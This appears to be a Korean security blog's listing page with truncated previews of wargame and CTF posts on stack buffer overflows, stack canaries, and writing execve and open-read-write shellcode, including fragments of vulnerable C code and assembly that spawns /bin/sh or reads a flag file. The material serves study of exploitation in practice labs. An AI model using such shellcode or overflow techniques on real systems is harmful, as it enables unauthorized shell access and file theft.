system hacking 7

[System Hacking] ssp_001

Description Stack Smashing Protector 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. 소스코드: ssp_001.c #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } void print_box(unsigned char *box, int id..

IT/Wargame 2024.03.07

[Stack Canary] Stack Buffer Overflow로부터 Return address를 보호하기

목적 스택 버퍼 오버플로우 공격으로부터 return address를 보호하기 작동 원리 함수의 프롤로그에서: 스택 버퍼와 반환 주소 사이에 임의의 값 (= 즉 Canary)을 삽입 그 후, 함수의 에필로그에서: 해당 값의 변조를 확인 만약 Canary 값의 변조가 확인되면: 프로세스가 강제 종료됨 공격자가 스택 버퍼 오버플로우를 통해 return address를 overwrite하는 경우, 만약 return address 이전에 canary가 마련돼 있다면, return address overwrite 이전에 필연적으로 canary가 먼저 overwrite 되겠지요. 이때, 공격자는 일반적으로 Canary 값을 모르므로 (공격자가 이 값을 알아내는 특별한 경우도 있는데 다른 글에서 다루겠습니다), 공격 ..

IT/시스템 보안 2024.03.05

[Stack Buffer Overflow] Return Address Overwrite을 통한 실행 흐름 조작

Return Address Overwrite Buffer overflow를 통해 stack의 return address 값을 조작하면, 프로세스의 실행 흐름을 조작할 수 있다. 취약점 분석 취약점이 있는 코드: rao.c #include #include void init() { setvbuf(stdin, 0, 2, 0); // setvbuf(FILE 구조체에 대한 포인터, 버퍼, 버퍼링 모드, 버퍼 크기(바이트)) setvbuf(stdout, 0, 2, 0); } void get_shell() { char *cmd = "/bin/sh"; char *args[] = {cmd, NULL}; execve(cmd, args, NULL); } int main() { char buf[0x28]; init(); pr..

IT/시스템 보안 2024.03.01

[System Hacking] shell_basic: orw를 통해 flag 파일 얻기

1. mycode 어셈블리 작성하기 이 문제에서 orw를 하기 위해서는 아래와 같은 syscall이 필요하다. 1. open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL) 2. read(fd, buf, 0x30) 3. write(1, buf, 0x30) 따라서 위를 수행하는 어셈블리를 아래와 같이 작성했다. "/home/shell_basic/flag_name_is_loooooong"의 hex를 stack에 push하기 xor rax, rax push rax mov rax, 0x676e6f6f6f6f6f6f push rax mov rax, 0x6c5f73695f656d61 push rax mov rax, 0x6e5f67616c662f63 push ..

IT/Wargame 2024.02.29

[Shellcode] objdump을 이용한 byte code 추출

예시 어셈블리 코드 (shellcode.asm)의 byte code를 추출해보겠습니다. shellcode.asm section .text global _start _start: xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80 1. nasm 설치 sudo apt-get install nasm 2. shellcode.o 생성 nasm -f elf shellcode.asm 3. shellcode.o 파일을 어셈블리 언어로 변환하여 출력 objdump -d shellcode.o 4. shellcode.bin 생성 objcopy --dump-section .t..

IT/시스템 보안 2024.02.28

[Shellcode] execve

목적 execve 셸코드를 이용하면 임의의 프로그램을 실행할 수 있는데요, 만약 그것이 셸 프로그램이라면, 서버의 셸을 획득한 것이므로, 서버의 시스템을 제어함으로써 시스템 해킹을 성공한 것이 됩니다. ※ 셸(Shell): 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스 방법 1. execve 셸코드 작성 linux의 다양한 셸 프로그램 중 기본인 /bin/sh를 실행하는 execve 셸코드를 작성해보겠습니다. execve 셸코드는 스켈레톤 코드 (C언어로 작성됨) + 셸코드 (어셈블리) 의 구조입니다. 스켈레톤 코드 __asm__( ".global run_sh\n" // C에서 run_sh에 접근 가능하도록 global로 설정 "run_sh:\n" // 아래 어셈블리 코드는 예시이며, 각 l..

IT/시스템 보안 2024.02.28

[Shellcode] orw: open-read-write

목적 공격 대상이 되는 시스템의 파일을 유출해 내는 것입니다. 방법 아래는 linux 환경에서 진행한 것입니다. 0. 공격 대상이 될 파일 작성 실습을 위한 예시입니다. echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag 1. orw 셸코드 작성 “/tmp/flag” 파일을 읽는 orw 셸코드를 작성해 보겠습니다. orw 셸코드는 스켈레톤 코드 (C언어로 작성됨) + 셸코드 (어셈블리) 의 구조입니다. 스켈레톤 코드 __asm__( ".global run_sh\n" // C에서 run_sh에 접근 가능하도록 global로 설정 "run_sh:\n" // 아래 어셈블리 코드는 예시이며, 각 line은 \n으로 구분되어야 함 "xor rdi, rdi\n..

IT/시스템 보안 2024.02.27